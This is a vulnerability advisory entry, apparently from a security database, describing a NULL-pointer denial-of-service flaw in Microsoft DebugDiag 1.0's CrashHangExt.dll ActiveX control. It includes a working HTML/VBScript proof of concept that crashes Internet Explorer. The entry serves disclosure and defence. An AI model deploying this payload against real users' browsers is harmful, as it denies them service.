Microsoft DebugDiag 1.0 'CrashHangExt.dll' ActiveX Control Remote Denial of Service Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Microsoft DebugDiag 1.0 'CrashHangExt.dll' ActiveX Control Remote Denial of Service Vulnerability. Null-pointer dereference error allows remote attacker to crash application (e.g., Internet Explorer) denying service to legitimate users. Other versions may also be affected


                                                source: http://www.securityfocus.com/bid/31996/info

Microsoft DebugDiag &#39;CrashHangExt.dll&#39; ActiveX control is prone to a denial-of-service vulnerability because of a NULL-pointer dereference error.

A successful attack allows a remote attacker to crash the application using the ActiveX control (typically Internet Explorer), denying further service to legitimate users.

Microsoft DebugDiag 1.0 is vulnerable; other versions may also be affected. 

&#60;body&#62; &#60;object classid=&#39;clsid:7233D6F8-AD31-440F-BAF0-9E7A292A53DA&#39; id=&#39;target&#39; /&#62; &#60;/object&#62; &#60;script language=&#39;vbscript&#39;&#62; arg1=-2147483647 target.GetEntryPointForThread arg1 &#60;/script&#62; &#60;/body&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1